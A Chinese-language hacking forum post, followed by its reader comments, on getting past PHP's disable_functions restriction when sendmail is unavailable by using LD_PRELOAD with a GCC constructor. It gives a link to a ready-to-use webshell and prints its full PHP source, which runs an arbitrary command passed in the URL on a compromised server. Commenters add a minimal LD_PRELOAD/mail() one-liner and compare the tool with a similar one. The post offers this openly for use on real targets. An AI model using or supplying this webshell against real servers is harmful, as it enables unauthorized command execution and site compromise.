无 sendmail 环境下突破 disable_functions 执行命令
遇到用 disable_functions 指示器禁用了所有命令执行函数的站点,借助环境变量 LD_PRELOAD 劫持 /usr/sbin/sendmail 中的系统函数 getuid(),从而不借助 PHP 的各类命令执行函数(如 exec()、system()、dl() 等等)执行系统命令,屡试不爽。
最近实战中遇到一个站,同样无法执行命令:
disable_functions 禁用命令执行函数:
同时,还禁用了 sendmail,导致之前的惯用法失效:
琢磨了几天,找到一种不依赖 sendmail 的手法:GCC 支持 C 语言规范扩展 __attribute__((constructor)),让我可以劫持共享对象(或者说,拦劫加载共享对象这一动作),不用劫持某一具体函数,实现执行系统命令。
开箱即用的 webshell 位于 https://github.com/yangyangwithgnu/bypass_disablefunc_via_LD_PRELOAD,包括两个关键文件,bypass_disablefunc.php 和 bypass_disablefunc_x64.so。想法把他两上传至目标,访问
http://site.com/bypass_disablefunc.php?cmd=pwd&outpath=/tmp/xx&sopath=/var/www/bypass_disablefunc_x64.so
<?php
echo "<p> <b>example</b>: http://site.com/bypass_disablefunc.php?cmd=pwd&outpath=/tmp/xx&sopath=/var/www/bypass_disablefunc_x64.so </p>";
$cmd = $_GET["cmd"];
$out_path = $_GET["outpath"];
$evil_cmdline = $cmd . " > " . $out_path . " 2>&1";
echo "<p> <b>cmdline</b>: " . $evil_cmdline . "</p>";
putenv("EVIL_CMDLINE=" . $evil_cmdline);
$so_path = $_GET["sopath"];
putenv("LD_PRELOAD=" . $so_path);
mail("", "", "", "");
echo "<p> <b>output</b>: <br />" . nl2br(file_get_contents($out_path)) . "</p>";
unlink($out_path);
?>
TCV: 1
评论26次
NB NB!!吐司高质量的贴子终于又有了。
方法很奇特,收藏。
亲测失败了,用so配合py成功了,但是用你这个不行
这个思路学xi到了,以前遇到这个直接懵逼
感谢感谢,正好用到
大佬的github,讲的好详细谢谢大佬。
这才是真干货,正好最近遇到的问题解决了
preload的操作是目前ctf题在实践中最好用的姿势了,啊哈哈哈哈
<?phpputenv("LD_PRELOAD=/var/www/hack.so");mail("a@localhost","","","","");?>核心代码不就这样么。。google:利用环境变量LD_PRELOAD来绕过php disable_function执行xi统命令好多年前就有了,lz只是方便了执行命令。
瞬间秒懂了,方法应该也能适配windows吧
只是绕过disable function,安全模式饶不了的。
这个思路很清奇、点个赞~
<?phpputenv("LD_PRELOAD=/var/www/hack.so");mail("a@localhost","","","","");?>核心代码不就这样么。。google:利用环境变量LD_PRELOAD来绕过php disable_function执行xi统命令好多年前就有了,lz只是方便了执行命令。
安全模式不行吧 users will only be able to set environment variables that begin with PHP_ (e.g. PHP_FOO=BAR). Note: if this directive is empty, PHP will let the user modify ANY environment variable! The safe_mode_protected_env_vars directive contains a comma-delimited list of environment variables, that the end user won't be able to change using putenv(). These variables will be protected even if safe_mode_allowed_env_vars is set to allow to change them.
<?phpputenv("LD_PRELOAD=/var/www/hack.so");mail("a@localhost","","","","");?>核心代码不就这样么。。google:利用环境变量LD_PRELOAD来绕过php disable_function执行xi统命令好多年前就有了,lz只是方便了执行命令。
瞬间秒懂了,方法应该也能适配windows吧
不错,收藏了
楼主的意思是有些php站点默认开启了安全模式无法正常执行cmd 然后下git上面的两个文件传上去就可以执行了吗
safe_mode 从 PHP v5.3.0 起已被废弃;对于之前版本,safe_mode 唯一影响 bypass_disablefunc.php 删除临时文件(unlink()),但命令仍可成功执行。我没老版的 PHP,未实测,理论上没有影响。
https://github.com/TarlogicSecurity/Chankro发现github有老外已经写了一个
好东西,早知道就拿来用了。我研究了下 chankro,有亮点可以借鉴。简单比对下 bypass_disablefunc.php 和 chankro 的优劣:,前者,需要上传 *.php 和 *.so 两个文件,而后者只需上传一个 *.php 即可,运行 *.php 自动生成 *.so;,前者通过 cmd 查询参数执行任意命令,后者无相关参数,只可执行 *.php 中写死的固定命令;,前者执行完命令后立即释放加载的共享对象,后者一旦加载共享对象将以守护进程方式循环执行命令,无法中断执行、无法释放资源。实战中,根据不同场景,择优选用。
<?phpputenv("LD_PRELOAD=/var/www/hack.so");mail("a@localhost","","","","");?>核心代码不就这样么。。google:利用环境变量LD_PRELOAD来绕过php disable_function执行xi统命令好多年前就有了,lz只是方便了执行命令。
不太一样,楼主只是绕过了sendmail。
https://github.com/TarlogicSecurity/Chankro 发现github有老外已经写了一个
直接问下楼主,难得自己去测了,在windows下可以使用么?
后来去看了下,preload只有linux有,windows没有。
直接问下楼主,难得自己去测了,在windows下可以使用么?